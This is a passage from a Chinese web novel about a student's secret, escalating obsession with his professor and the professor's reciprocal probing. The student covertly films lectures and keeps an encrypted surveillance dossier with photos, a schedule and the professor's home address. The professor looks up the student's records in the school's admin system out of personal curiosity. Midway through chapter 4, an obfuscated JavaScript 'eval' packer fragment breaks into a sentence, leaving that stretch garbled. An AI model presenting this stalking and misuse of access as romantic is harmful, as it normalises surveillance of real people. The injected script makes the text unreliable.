但如果陆知许真的旁听了那门课…… 谢砚切回手机相册,翻到去年春天的一些照片。 那是他随手拍的课堂场景:讲台的角度,黑板上写满的板书,窗外开得正盛的樱花。 其中有一张,拍到了教室的后排。 照片因为逆光而有些模糊,但能看出后排坐着几个学生。最靠窗的位置,有一个穿着白色卫衣的男生,正低着头记笔记。 只能看见侧脸,和一头柔软的黑发。 谢砚把照片放大。 像素有限,看不清具体五官。 但他盯着那个模糊的侧影看了很久,然后切回陆知许的朋友圈,对比那张猫的头像——那只猫也是白色的,蜷缩的姿势,和照片里那个低头的侧影,有某种奇异的相似感。 谢砚放下手机,靠在椅背上,闭上眼睛。 酒精开始起作用了,太阳穴微微发胀。 但思维反而更加清晰。 一个成绩优异、明明有更好选择却执着报考中文系的学生。 一个旁听过他的研究生课、却从未上前搭话的学生。 一个开学第一天就撞翻他的咖啡、紧张得眼眶通红、却又能准确回答专业问题的学生。 一个偷偷看他的手、在意他的钢笔、被他注意到手抖的学生。 巧合太多了。 多到不像巧合。 谢砚睁开眼睛,目光重新落回那个纸杯上。 然后他拿起笔,在笔记本上继续写道: 档案很干净,但行为有矛盾。 他在隐藏什么? 或者,他在扮演什么? 笔尖停顿,墨水在纸面上洇开一小点。 谢砚想了想,又加了一句: 但无论是哪种—— 都很有趣。 写完这句,他合上笔记本,拿起酒杯一饮而尽。 冰块在杯底碰撞,发出清脆的响声。 --- 同一时间,男生宿舍。 陆知许还没有睡。 他戴着耳机,正在看一段视频——去年谢砚在研究生课上讲课的视频。 那是他偷偷录的。 用手机藏在书包里,镜头从拉链缝隙里探出来,对着讲台的方向。画面有些晃动,收音也不太好,但能清楚地听到谢砚的声音。 “……叙事视角的选择,从来不只是技巧问题。它关乎权力——谁有权讲述这个故事?谁的眼睛在看?谁的嘴巴在说?” 视频里的谢砚穿着浅蓝色的衬衫,袖子挽到手肘,露出一截白皙的小臂。他一手撑着讲台,另一只手在空中比划,修长的手指随着话语的节奏轻轻挥动。 “当我们选择第一人称叙事,我们交出的不仅是视角,还有信任。读者必须相信‘我’的眼睛,‘我’的判断,‘我’的情感……” 陆知许按下暂停。 画面定格在谢砚微微侧头的瞬间。光线从窗户照进来,给他的侧脸镀上一层柔和的光晕,睫毛的阴影落在颧骨上,像蝴蝶脆弱的翅膀。 陆知许伸出手指,轻轻触碰屏幕。 指尖落在谢砚的嘴唇上。 冰凉的玻璃屏幕,却让他感觉到一阵灼热。 他维持这个姿势很久,直到手机屏幕自动暗下去。 黑暗里,陆知许摘下耳机,宿舍里安静的呼吸声重新涌入耳膜。他翻了个身,面向墙壁,把脸埋进枕头里。 枕头下,那枚钢笔笔帽硌着他的脸颊。 金属的凉意透过枕套传递到皮肤上,很舒服。 陆知许闭上眼睛,脑海里开始回放今天的每一个细节。 谢砚衬衫上的咖啡渍,深褐色,在浅灰色丝绸上晕染开来,像一幅写意水墨画。 谢砚递过牛奶时的手指,骨节分明,指甲修剪得很干净,虎口处有一颗很小的痣。 谢砚说“你的手在抖”时的语气,平淡,却带着某种难以言说的……关注? 还有办公室里的檀木香,书柜顶层的剑桥论文集,笔筒里缺了笔帽的万宝龙。 每一个细节都被陆知许反复咀嚼,像反刍动物对待珍贵的食物,一遍遍回味,生怕漏掉任何一点味道。 然后他想到了更久以前的事。 一年前的那场讲座。 那是陆知许大二上学期,十月的某个下午。他原本只是去图书馆还书,看到报告厅门口贴着海报——“叙事中的欲望结构:从《金瓶梅》到《红楼梦》”。 主讲人:谢砚。 陆知许对学术讲座没什么兴趣,但那天下午他没课,鬼使神差地就走了进去。 报告厅里坐满了人,大部分是女生。陆知许找了个最后排的角落坐下,拿出手机准备打发时间。 然后谢砚走了进来。 那一刻,陆知许理解了为什么报告厅会坐满——不只是因为讲座内容,更因为主讲人本身。 谢砚今天想起来,当时自己说了什么已经记不清了。他只记得那个穿着深灰色西装的男人站在讲台上,声音低沉悦耳,手指握着激光笔,红色的光点在PPT上移动。 也记得自己拿出手机,偷偷拍下了第一张照片。 更记得讲座结束后,人群涌上去提问,而自 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但今天,谢砚主动加了他。 虽然只是作为课代表的工作联络,但陆知许还是把那串数字存了又删,删了又存,最终只敢备注一个“谢教授”。 而现在,这个“谢教授”发来了一条消息: “教学大纲第三页的参考书目,有一本图书馆只有三册,我已经让管理员预留了一册给课代表。明天可以去借。” 很公事公办的消息。 但陆知许盯着那行字看了很久,直到眼睛发酸。 然后他回复: “谢谢教授,我明天一早就去。” 发送。 几乎立刻,对话框顶端显示“对方正在输入……”。 陆知许屏住呼吸。 几秒后,新消息进来: “早点休息。” 只有四个字。 陆知许却觉得自己的心脏快要跳出来了。 他打字,删掉,再打字,再删掉。最终只回了一个: “教授也早点休息。” 加一个乖巧的兔子表情。 发送。 这次没有“对方正在输入”了。 陆知许等了三分钟,确定不会再有回复,才恋恋不舍地退出对话框。 但他没有关掉微信,而是点开了谢砚的头像——是一片深蓝色的星空,很符合谢砚给人的感觉:深邃,遥远,美丽。 朋友圈是一条横线,什么也看不到。 谢砚设置了隐私,或者干脆不发朋友圈。 陆知许并不意外。他早就通过其他渠道知道了谢砚的很多事:谢砚单身,独居,有轻微的洁癖,喜欢古典音乐,养了一盆绿植(就是办公室窗台上那盆多肉),不抽烟,偶尔喝酒,酒量似乎不太好…… 这些碎片信息被他小心翼翼地收集起来,拼凑出一个并不完整、却足够让他沉迷的谢砚。 一个只属于他的、秘密的谢砚。 陆知许把手机按在胸口,感觉到心脏在掌心下剧烈跳动。 然后他做了一个决定。 他轻手轻脚地爬下床,从抽屉里拿出那个带锁的笔记本——不是记录谢砚信息的那个,是更私密的,只写给自己看的。 翻开新的一页,日期:9月10日。 他开始写: 今天碰到了他的咖啡。 他的衬衫湿了,贴在身上,能看见锁骨的形状。 他给了我牛奶,纸杯是白色的,我喝过的地方在左侧。 他注意到了我的手在抖。 他说不用赔衬衫,让我认真做课代表。 他加了我的微信。 他让我早点休息。 写到这里,陆知许停顿了一下。 笔尖悬在纸面上方,墨水慢慢汇聚,滴落,晕开一个小小的圆点。 然后他继续,字迹因为激动而有些颤抖: 今天,他第一次记住了我。 不是作为“某个学生”,而是作为“陆知许”。 虽然可能是因为咖啡,可能是因为课代表,可能是因为…… 但没关系。 至少,他看我了。 写到最后三个字时,陆知许的指尖用力到泛白。 他盯着那行字看了很久,然后合上笔记本,重新锁好,放回抽屉最深处。 做完这一切,他重新爬回床上,缩进被子里。 夜已经很深了。 室友的鼾声均匀而绵长,窗外偶尔传来远处马路上的车声。 陆知许闭上眼睛,手伸到枕头下,握住那枚钢笔笔帽。 金属的凉意让他清醒,又让他安心。 他知道自己正在一条危险的道路上越走越远。 他知道这种暗恋已经超出了正常的范畴,变成了某种偏执的、阴湿的、见不得光的执念。 但他不在乎。 或者说,他在乎,但控制不了。 就像飞蛾扑火,明知会烧成灰烬,还是无法抗拒那道光。 陆知许在黑暗中,对着天花板,很轻很轻地说: “谢砚……” 两个字,含在舌尖,像含着一颗融化的糖。 甜得发苦,苦得心甘情愿。 然后他翻身,把脸埋进枕头里,嘴角勾起一个无人看见的、满足的笑容。 窗外,月亮已经西沉。 黎明前的黑暗最是深沉,但也意味着,天快亮了。 4. 第四章 第二天早晨七点半,陆知许已经站在了图书馆门口。 九月的清晨带着凉意,他裹紧了身上的薄外套,手里紧紧攥着校园卡。图书馆大门紧闭,要八点才开放,但他宁愿提前半小时在这里等。 为了谢砚预留的那本书。 昨晚收到那条微信后,陆知许几乎一夜没睡。他翻来覆去地想着那四个字——“早点休息”,想象着谢砚打下这句话时的表情。是出于师长的关心?还是……有那么一点点别的意味? 理智告诉他别多想。 但感情像疯长的藤蔓,缠绕着心脏,勒得他呼吸困难。 七点五十,图书馆管理员来开门了。陆知许第一个走进去,直奔三楼的社科阅览室。按照谢砚给的索书号,他在最靠里的书架上找到了那本《明清小说叙事模式研究》。 深蓝色的精装封面,书脊已经有些磨损,显然被很多人借阅过。 陆知许小心翼翼地把书抽出来,翻开扉页。 借阅记录卡贴在书后的口袋里,上面密密麻麻写满了名字和日期。陆知许的指尖划过那些陌生的字迹,突然产生一种奇异的占有欲——从今天起,这本书上也会有他的名字,和谢砚的名字出现在同一张记录卡上(因为是谢砚预留的)。 虽然这只是工作上的关联,但陆知许还是感到一阵隐秘的喜悦。 他办理好借阅手续,把书装进书包最里层,像是收藏什么珍宝。 上午有两节必修课,陆知许心不在焉地听着。笔记记得潦草,思绪总是不自觉地飘向今天下午——周三,谢砚的《中国古代文学专题》在下午三点。 还有六个小时。 陆知许盯着手机屏幕上的时间,第一次觉得时间过得这么慢。 --- 下午两点五十,陆知许已经坐在了教室里。 他今天换了件浅蓝色的衬衫——和谢砚昨天那件颜色很像,但质地普通得多。头发仔细梳理过,露出光洁的额头。书包里除了课本,还装着那本刚借来的书,以及一个保温杯。 保温杯里是他中午特意去校外买的现磨咖啡。美式,不加糖,不加奶——他记得谢砚的口味。 虽然昨天谢砚说不用赔衬衫,但陆知许还是觉得应该做点什么。一杯咖啡,最普通不过的谢礼,不会显得太刻意。 应该……不会吧? 陆知许不确定地摸了摸保温杯,金属外壳冰凉,里面的液体应该还烫着。 三点整,谢砚准时走进教室。 今天他换了件白色衬衫,袖子挽到手肘,露出线条流畅的小臂。手里依然拿着教案和那个黑色的保温杯。 “上课。” 声音透过麦克风传来,比昨天更低沉一些,似乎有点哑。 陆知许敏锐地注意到了——谢砚的喉咙是不是不舒服? 他盯着讲台上的人,看见谢砚在转身板书时轻轻咳了一声,很轻,但陆知许捕捉到了。 果然,感冒了?还是没休息好? 陆知许的心揪了一下。 整堂课,他都处于一种分裂的状态:一半在听谢砚讲课,另一半在观察谢砚的状态。谢砚今天语速比昨天慢,偶尔会停顿,喝水频率也增加了——那个黑色保温杯,一节课喝了三次。 下课铃响时,陆知许几乎是立刻站了起来。 但他没有马上走,而是等到大部分同学离开后,才抱着书包走向讲台。 谢砚正在整理教案,听到脚步声抬起头。 “教授……”陆知许小声开口,把保温杯递过去,“昨天的事,真的很抱歉。这个……请您收下。” 谢砚的目光落在那只银色的保温杯上,挑了挑眉。 “咖啡。”陆知许补充道,耳尖又开始泛红,“美式,不加糖不加奶……我听助教老师说过您的口味。” 后半句是谎话。助教根本没说过,是陆知许自己观察出来的。 但谢砚没有戳破,只是接过保温杯:“谢谢。” 他的指尖碰到了陆知许的手指,很短的一瞬间,但陆知许还是感觉到了——谢砚的手很烫。 “教授,您是不是……”陆知许鼓起勇气,“身体不舒服?” 谢砚抬眸看他,深褐色的眼睛里闪过一丝讶异:“很明显?” “您今天喝水次数比昨天多,而且声音有点哑。”陆知许老老实实地说,说完又觉得自己太冒失,赶紧低下头。 谢砚看着他垂下的睫毛,轻轻笑了。 那笑声很轻,带着感冒特有的鼻音,却让陆知许的心脏狠狠跳了一下。 “有点感冒,不严重。”谢砚说,拧开保温杯喝了一口,“咖啡不错。” 陆知许抬起头,眼睛亮了起来:“您喜欢就好!” 那眼神太亮了,像小狗看到主人夸奖时摇尾巴的样子。谢砚握着保温杯的手指紧了紧,突然很想揉揉他的头发。 但他克制住了。 “对了,”谢砚转移话题,“那本书借到了吗?” “借到了!”陆知许从书包里拿出那本《明清小说叙事模式研究》,“谢谢教授提醒。” “嗯。”谢砚合上教案,“关于这周的思考笔记,有几个要点我想提前跟你沟通一下。现在有空吗?” 陆知许的心跳漏了一拍:“有、有的!” “那来我办公室吧。” --- 五楼,502室。 下午的阳光透过窗户照进来,把整个办公室染成暖金色。窗台上那盆多肉在光线下呈现出半透明的翠绿色,叶片饱满得像要滴出水来。 谢砚示意陆知许坐下,自己则绕到办公桌后。 “你的期末论文选题定了吗?”他一边开电脑一边问。 陆知许愣了愣:“还、还没……” “这学期的期末论文要求比较高,建议早点开始。”谢砚从抽屉里拿出一份文件,“这是我列的一些研究方向,你可以参考。” 陆知许接过文件,指尖因为激动而微微颤抖。 这已经不是课代表的工作范畴了。谢砚在给他开小灶。 “谢、谢谢教授……”他小声说,翻开文件。 里面是手写的研究方向建议,字迹工整有力,每个方向下面还列出了关键文献和思考角度。密密麻麻写满了三页纸。 陆知许看得认真,没注意到谢砚已经起身走到了他身后。 “这里,”谢砚俯身,手指点在纸面的一行字上,“关于《红楼梦》叙事视角的转换,你可以重点看脂砚斋的批注……” 温热的呼吸喷洒在陆知许的耳侧。 太近了。 近到陆知许能闻到谢砚身上淡淡的檀木香,混杂着一点感冒药的苦味。近到他能看见谢砚衬衫领口下若隐若现的锁骨线条,和因为俯身而微微敞开的领口里的一小片肌肤。 陆知许的呼吸停滞了。 他的全部感官都集中在身后那个人的存在上——温度,气息,声音,还有那只点在他眼前的手指。 修长,白皙,指节分明。 指甲修剪得很干净,指尖因为用力按压纸面而微微泛白。 陆知许的视线黏在那只手上,脑子里一片空白。谢砚说了什么,他一个字都没听进去,只听见自己心脏在胸腔里疯狂跳动的声音。 咚、咚、咚。 像战鼓。 “陆知许?” 谢砚的声音把他拉回现实。 陆知许猛地回过神,脸颊瞬间涨得通红:“对、对不起教授,我刚才……” “走神了?”谢砚直起身,语气听不出情绪。 “我……”陆知许羞愧得想找个地缝钻进去。 但谢砚并没有生气,反而轻轻笑了一声:“看来我讲得太枯燥了。” “不是的!”陆知许急忙否认,“是我自己的问题,我……” “好了。”谢砚打断他,重新坐回椅子上,“把这些拿回去看吧。有什么问题随时可以来问我。” 这是逐客令。 陆知许心里一紧,赶紧站起来:“谢谢教授,那我先走了。” 他抱起文件,几乎是逃跑般地离开了办公室。 门关上的瞬间,陆知许背靠着墙壁,大口喘着气。 太丢人了。 他居然在谢砚讲重点的时候走神,还是因为……那种原因。 陆知许捂住发烫的脸,觉得自己简直没救了。 --- 办公室里,谢砚看着那扇关上的门,嘴角慢慢勾起一个弧度。 他当然知道陆知许为什么走神。 刚才俯身的时候,他清楚地看见陆知许的耳尖以肉眼可见的速度变红,然后蔓延到整个耳朵,最后连后颈都染上了一层薄粉。 像熟透的水蜜桃。 可爱得让人想咬一口。 而且,陆知许的注意力明显在他的手上——那种专注的、近乎贪婪的视线,谢砚太熟悉了。 他低头看向自己的手。 昨天在笔记本上写下的那句话又浮现在脑海: “他在隐藏什么?或者,他在扮演什么?” 现在看来,答案似乎越来越清晰了。 谢砚收回思绪,目光落在桌上的银色保温杯上。那是陆知许刚才留下的,说是赔罪的咖啡。 他拿起来,拧开杯盖。 浓郁的咖啡香气扑面而来,还带着温度。谢砚喝了一口,口感醇厚,苦味恰到好处——确实是他喜欢的味道。 这个学生,观察得很仔细。 谢砚又喝了一口,然后把保温杯放在手边。金属外壳上还残留着陆知许掌心的温度,暖暖的。 他打开电脑,点开那个命名为“观察记录”的文件夹,找到“陆”子文件夹。 今天又该添加新内容了。 谢砚新建了一个文档,开始打字: 9月11日,晴。 感冒了,声音哑。他注意到了。(观察力很好) 送了我咖啡,美式,不加糖奶——他记得我的口味。 在办公室给他讲论文选题时,他走神了,耳朵很红。 原因:我离得太近?还是别的什么? 写到这里,谢砚停顿了一下。 他想起刚才陆知许盯着他手看的眼神,那种专注的、近乎痴迷的眼神。 谢砚继续打字: 他对我的手很感兴趣。 今天在办公室,我点着文件讲解时,他的视线一直跟着我的手指移动。 持续时间:大概两分钟。 反应:耳朵红,呼吸变轻,有明显的吞咽动作。 打完这些字,谢砚靠在椅背上,指尖轻轻敲击桌面。 两分钟。 足够长的注视时间。 长到不可能是无意间的扫视。 谢砚闭上眼睛,脑海里浮现出陆知许那双湿漉漉的眼睛——紧张时泛红,专注时发亮,看着他时总是带着一种小心翼翼的、近乎虔诚的光芒。 像信徒仰望神明。 但这个信徒的心里,藏着不那么虔诚的念头。 谢砚知道,因为他曾经也是这样的信徒。 只是他仰望的对象,最终让他明白了:信仰会变质,虔诚会扭曲,纯粹的爱里总会掺杂欲望的杂质。 而他现在,似乎成为了别人仰望的对象。 这种感觉……不坏。 谢砚睁开眼睛,重新看向那个保温杯。 然后他做了一件自己都觉得有点过分的事——他拿起手机,对着保温杯拍了张照片,发给了陆知许。 配文: “咖啡很好喝。杯子怎么还你?” 发送。 --- 宿舍里,陆知许正趴在床上,把脸埋在枕头里装死。 手机震动的时候,他以为是室友的消息,懒洋洋地拿起来看。 然后他僵住了。 谢砚的头像,谢砚的名字,谢砚发来的消息。 陆知许猛地坐起来,手指因为激动而颤抖,点开对话框。 看到那张照片和那句话时,他的大脑空白了三秒。 然后巨大的喜悦像烟花一样在胸腔里炸开。 谢砚……主动给他发消息了。 不是公事,是私事。 关于咖啡杯的私事。 陆知许深呼吸三次,才勉强平复心情,开始打字: “教授喜欢就好!杯子不急的,您先用着。” 发送。 然后他又补充了一句: “感冒的话,喝点热水会好一些。保温杯可以装热水。” 发送完,陆知许盯着屏幕,紧张地等待着。 这次,“对方正在输入”显示了很久。 久到陆知许以为谢砚在打很长一段话。 但最终发来的只有两个字: “好。谢谢。” 简洁,克制。 但陆知许已经满足了。 他把手机按在胸口,整个人倒在床上,嘴角控制不住地上扬。 窗外夕阳西下,橘色的光透过窗户洒进来,把整个宿舍染成温暖的色调。 陆知许翻了个身,面向窗户,看着天边慢慢沉落的太阳。 然后他想起了什么,从书包里拿出那份谢砚给的文件。 三页纸,满满的手写建议。 陆知许小心翼翼地抚过那些字迹,指尖在墨迹上轻轻摩挲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他总不能说,他去见了谢砚,喝了谢砚的咖啡,拿到了谢砚亲手写的论文建议,还收到了谢砚的私信。 这些事,他要一个人藏在心里,慢慢发酵。 像珍藏的美酒,越藏越醇。 晚餐时间,陆知许心不在焉地吃着饭,脑子里想的全是那个银色保温杯。 谢砚现在在用它喝水吗? 感冒有没有好一点? 晚上会按时吃饭吗? 一个个问题冒出来,得不到答案,只能自己在心里胡乱猜测。 吃完饭回宿舍的路上,陆知许路过教师公寓区。 他下意识地放慢脚步,目光扫过那一栋栋小楼。谢砚住哪一栋,他早就查清楚了——3号楼,502室。和他办公室的门牌号一样。 502室此刻亮着灯。 暖黄色的灯光从窗户透出来,在夜色中显得格外温暖。 陆知许站在远处的树下,看了很久。 直到手机震动,他才回过神来。 是谢砚的消息: “明天下午三点,办公室,讨论一下你的论文初步构想。” 陆知许盯着那行字,心脏又开始剧烈跳动。 然后他回复: “好的教授,我会准时到。” 发送。 他抬起头,最后看了一眼502室的窗户,然后转身离开。 脚步轻快,像踩在云朵上。 夜色渐深,校园里的路灯次第亮起,在地上投出一个个温暖的光圈。 陆知许走在光影里,嘴角始终带着笑。 明天又能见到谢砚了。 这个认知让他整个人都轻盈起来。 回到宿舍,他破天荒地主动加入了室友的游戏局,虽然玩得心不在焉,但至少看起来像个正常的大学生了。 只有他自己知道,心里藏着怎样一个秘密。 一个关于谢砚的秘密。 一个甜蜜的、煎熬的、见不得光的秘密。 --- 深夜,教师公寓。 谢砚洗完澡出来,头发还滴着水。他走到书桌前,拿起那个银色保温杯。 杯子里已经换成了热水——按照陆知许的建议。 他喝了一口,温热的水滑过喉咙,确实舒服了一些。 然后他打开笔记本,翻到今天的那一页。 看着自己下午写下的那些观察记录,谢砚的指尖轻轻划过“他对我的手很感兴趣”那一行。 这个学生,越来越有趣了。 表面温顺乖巧,背地里却藏着这样炽热的目光。 谢砚合上笔记本,走到窗前。 窗外夜色深沉,远处宿舍楼的灯光已经稀疏了许多。学生们应该都睡了,或者还在熬夜赶作业、打游戏。 那个叫陆知许的学生,现在在做什么? 是在看他给的那些资料,还是已经睡了? 谢砚发现自己竟然在猜测。 这个发现让他微微蹙眉。 他不应该对学生产生过多关注,尤其是一个明显对他有特殊兴趣的学生。 但…… 谢砚想起下午陆知许红透的耳尖,和那种慌乱又专注的眼神。 很有趣。 真的太有趣了。 有趣到让他忍不住想要试探,想要靠近,想要看看那层温顺的表皮之下,到底藏着怎样一个灵魂。 谢砚转身回到书桌前,打开手机,点开陆知许的对话框。 聊天记录还停留在傍晚那几句简单的对话。 他盯着屏幕看了几秒,然后打字: “早点休息。” 发送。 和昨晚一样的话。 但这次,他加了一个句号。 很小的差别,几乎可以忽略不计。 但谢砚知道,自己是在有意为之——他在建立一种模式,一种只属于他和陆知许之间的、隐秘的联系模式。 很快,回复来了: “教授也是,晚安!” 加一个星星眼的表情。 谢砚看着那个表情,轻轻笑了。 然后他放下手机,关掉台灯。 黑暗中,只有窗外的月光洒进来,在地上投出淡淡的银辉。 谢砚躺在床上,闭上眼睛。 感冒药的药效开始发挥作用,困意渐渐袭来。 在彻底入睡前,他脑海里最后闪过的,是陆知许那双湿漉漉的、看着他时总是亮晶晶的眼睛。 像夜空里最亮的星。 5. 第五章 周五的图书馆四楼,人迹罕至的古典文献区。 陆知许坐在最靠里的桌子前,面前摊着三本书和一本厚厚的笔记本。阳光从高大的落地窗斜射进来,在木质桌面上投出菱形的光斑,空气里漂浮着旧书纸张特有的、微甜的灰尘气息。 他看起来在认真学习。 但如果有人凑近看,就会发现笔记本上写的并非课堂笔记。 那是一份详细到近乎变态的表格。 标题是《谢砚观察记录(九月上旬)》,下面分列着日期、时间、地点、着装、精神状态、备注等栏目。已经填写的内容密密麻麻: 9月10日,8:05,教学楼307门口。 着装:浅灰色丝质衬衫(泼咖啡事件),深灰色西装裤。 精神状态:平静(被泼咖啡后无怒意)。 备注:钢笔为万宝龙149,缺笔帽(笔帽现由我保管)。体温推测正常。 9月10日,14:50,办公室502。 着装:同上(咖啡渍已干)。 精神状态:略带疲惫(上午有三节课)。 备注:办公室有檀木香,书柜顶层为剑桥论文集。给我热牛奶,纸杯保存位置(左上抽屉)。 9月11日,15:00,教学楼307讲台。 着装:白色棉质衬衫,袖口挽至小臂,黑色休闲裤。 精神状态:感冒初期(声音微哑,咳嗽频率3次/小时)。 备注:黑色保温杯(个人物品),喝水频率增加。接受我的咖啡(美式,无糖奶)。 9月11日,15:30,办公室502。 着装:同上。 精神状态:专注教学(给我论文建议)。 备注:俯身指导时距离约10-15厘米,呼吸温度偏高(感冒发热?),手指点纸时指尖泛白(用力)。 陆知许的笔尖停在“备注”栏,犹豫了一下,然后继续写道: 距离过近时,我的生理反应明显(心跳加速,耳廓发热,注意力无法集中)。需加强控制。 写完这行,他轻轻叹了口气,把笔放下。 笔记本旁边,手机屏幕亮着,显示着一个加密文件夹的目录。文件夹名字很直白——“谢砚”。 里面又细分为十几个子文件夹: 【照片】 ·公开场合(讲座、会议、校园活动) ·课堂抓拍(按日期分类) ·办公室窗口(每日一张,时间固定为下午四点) ·生活场景(咖啡厅、图书馆、散步) 【视频】 ·课堂录像(按课程分类) ·讲座录像(完整版) ·生活片段(不超过30秒的短视频) 【文字资料】 ·学术论文(PDF格式,共27篇) ·采访记录(文字整理,共13次) ·课程大纲(本学期及过往学期) ·社交媒体痕迹(仅限公开信息) 【物品记录】 ·衣物风格分析(颜色偏好、品牌推测) ·常用物品清单(钢笔、手表、保温杯等) ·饮食偏好(咖啡口味、常去餐厅) 【个人推测】 ·作息时间(基于窗口灯光观测) ·健康状况(基于外表观察) ·情绪状态(基于课堂表现) 这份“数据库”是陆知许花了整整一年时间建立起来的。从最初只是几张偷拍的照片,慢慢扩展到如今这个庞大而系统的信息库。 他知道这很病态。 知道正常人不会这样去“研究”另一个人。 但他控制不了。 就像现在,他明明应该在看谢砚昨天给他的那些论文资料,却还是忍不住打开手机,点开了【照片】文件夹里最新的一张——今天早上七点,他在教师公寓附近“晨跑”时抓拍的。 照片里,谢砚穿着深蓝色的运动服,正在慢跑。晨光给他的侧脸镀上一层金边,额前的碎发被汗水打湿,贴在额头上。因为是抓拍,画面有些模糊,但那种清晨特有的、慵懒又充满生命力的美感却捕捉得很到位。 陆知许把照片放大,指尖轻轻划过屏幕上谢砚的侧脸。 然后他切换到另一个APP——那是一个他专门为记录谢砚信息而下载的日记软件,同样加了密。 今天的日记他已经写了一半: 9月12日,周五,晴。 早晨7:15,教师公寓区,他晨跑。深蓝色运动服,NIKE跑鞋(新款)。跑步速度中等,持续时间约25分钟(我数了步数)。 出汗量适中,结束后在便利店买了矿泉水和全麦面包(早餐?)。 精神状态:良好(感冒似乎好转)。 上午无课,推测在办公室备课。 中午12:30,食堂三楼教师窗口,一个人吃饭。餐盘内容:清炒西兰花、番茄炒蛋、米饭(食量偏小)。 吃饭时在看手机,表情平静。 下午3:00-5:00,办公室窗口灯光持续亮着(在办公)。 写到这里,陆知许停顿了一下。 他在犹豫要不要写下接下来这件事。 最终,他还是继续写道: 下午5:20,文学院咖啡厅。 他和体育教研组的王老师(女,28岁,未婚)一起喝咖啡。 交谈约15分钟。 他笑了三次(不是礼貌性微笑,是真正的笑)。 我坐在角落,点了美式,没加糖。 咖啡很苦。 最后三个字,笔迹比之前要重一些。 陆知许盯着那行字,指尖无意识地收紧。 下午那个场景又浮现在眼前—— 咖啡厅靠窗的位置,谢砚和王老师相对而坐。王老师穿着紧身的运动服,身材很好,笑起来眼睛弯弯的,很阳光的样子。她在说什么有趣的事,谢砚听着,偶尔点头,然后笑了起来。 不是那种客气疏离的笑,是真正放松的、愉快的笑。 陆知许坐在最角落的位置,背对着他们,却通过手机屏幕的反光,把一切都看得清清楚楚。 他看见王老师伸手拍了拍谢砚的肩膀,很自然地,像老朋友一样。 他看见谢砚没有避开,反而也说了什么,让王老师笑得更开心了。 他看见两人的咖啡杯放在一起,都是美式,都冒着热气。 那一瞬间,陆知许觉得自己的心脏像被什么东西攥紧了,闷闷地疼。 他知道自己没资格。 知道谢砚是自由的,可以和任何人喝咖啡,对任何人笑。 但知道是一回事,接受是另一回事。 陆知许端起自己面前那杯已经凉透的美式,喝了一大口。苦味在口腔里炸开,一路蔓延到胃里,像某种惩罚。 他在咖啡厅坐了整整二十分钟,直到谢砚和王老师离开,才慢慢起身。 走的时候,他鬼使神差地绕到了谢砚刚才坐过的位置。 桌子已经收拾干净了,什么都没留下。 但陆知许还是站在那里,盯着那个空座位看了很久。仿佛这样就能看见刚才谢砚坐在那里的样子,听见他的笑声,闻到他身上淡淡的檀木香。 最后他伸出手,指尖轻轻碰了碰桌沿——那里刚才放着谢砚的咖啡杯。 冰凉的木质桌面,什么温度都没有。 --- 陆知许从回忆里抽离,重新看向手机屏幕。 他点开【个人推测】文件夹,找到“社交关系”文档。 里面已经记录了几个人: ·王老师(体育教研组):关系良好,偶尔一起喝咖啡(频率:每月1-2次)。 ·李教授(历史系):学术合作关系,共同发表过论文。 ·张助教(文学院):工作关系,负责行政事务。 · …… 陆知许在“王老师”那一行后面,加了一个括号:(今天下午5:20,咖啡厅,交谈15分钟,气氛融洽)。 然后他犹豫了一下,又加上一句:(她碰了他的肩膀,他没有避开)。 写完这些,陆知许突然觉得很累。 那种从心底蔓延上来的、空荡荡的疲惫。 他合上笔记本,把手机锁屏,趴在桌子上,把脸埋在臂弯里。 阳光温暖地照在后背上,但他却感觉不到暖意。 脑海里反复播放着下午的画面:谢砚的笑,王老师拍他肩膀的手,两人并排放着的咖啡杯…… 然后他又想起了昨天在办公室,谢砚俯身靠近时的那种距离,那种呼吸喷洒在耳侧的触感。 两种画面交替出现,像一场无声的战争。 一边是现实:谢砚有正常的人际交往,有可以轻松谈笑的朋友,有完整的、与他无关的生活。 另一边是他的幻想:谢砚离他很近,只看着他,只对他说话,只对他笑。 陆知许知道哪个是真实的。 但他还是忍不住去幻想。 因为如果不幻想,这场暗恋就太苦了。 苦到难以下咽。 --- 同一时间,教师公寓。 谢砚刚洗完澡,穿着浴袍坐在沙发上,手里拿着平板电脑。 屏幕上显示的是学校教学管理系统的后台界面——作为副教授,他有权限查看学生的基本信息。 此刻,光标停留在“陆知许”这个名字上。 个人档案他已经看过了,现在他点开的是选课记录。 大一大二的选课记录很常规,都是必修课和几门选修课。但谢砚注意到了细节: 大一上学期,陆知许选修了《西方哲学导论》——那门课以难度大、挂科率高著称,通常只有哲学系的学生才会选。但陆知许不仅选了,还拿了92分。 大一下学期,选修了《艺术史概论》,95分。 大二上学期,选修了《心理学基础》,93分。 大二下学期,旁听了《叙事学前沿问题》(谢砚的课)。 这些课程看似杂乱,但谢砚看出了一条隐隐的脉络——陆知许在系统地学习与“人”相关的学科:哲学(思考方式)、艺术史(审美表达)、心理学(行为动机)、叙事学(表达结构)。 他在研究什么? 或者说,他在试图理解什么? 谢砚关掉选课记录,点开成绩单。 几乎全A,除了体育和一门政治课是B+。GPA高达3.9,在中文系排名第一。 很优秀的学生。 但谢砚总觉得,这份优秀背后有别的驱动力,不仅仅是“热爱学习”这么简单。 他退出教学系统,打开手机相册。 今天下午在咖啡厅,他其实看见了陆知许。 虽然陆知许坐在角落,背对着他们,但谢砚通过窗玻璃的反光,清楚地看见了他——那个穿着浅蓝色衬衫的、熟悉的背影。 陆知许点了一杯美式,然后就一直坐在那里,一动不动。 谢砚和王老师聊天时,能感觉到有一道视线若有似无地落在他身上。 不是直接的注视,是通过玻璃反射的、小心翼翼的观察。 像怕被发现的小动物。 谢砚当时没有戳破,甚至故意表现得比平时更放松——他笑了三次,还让王老师拍了肩膀(平时他会避开,但今天没有)。 他想看看,陆知许会有什么反应。 但直到他们离开,陆知许都只是安静地坐在那里,背影挺得笔直,像一尊沉默的雕塑。 只有桌上的咖啡杯,从满的到空的,证明时间在流逝。 谢砚现在回想起来,觉得那个背影有点……可怜。 孤零零的,固执地坐在角落,看着玻璃反射里的他。 像个被遗弃的小孩。 谢砚皱了皱眉,把这个念头甩开。 他不应该对学生产生这种情绪。不应该过度关注,不应该过度解读,更不应该……觉得对方可怜。 但陆知许今天的表现,确实触动了他心里某个柔软的地方。 那种小心翼翼的、近乎卑微的注视。 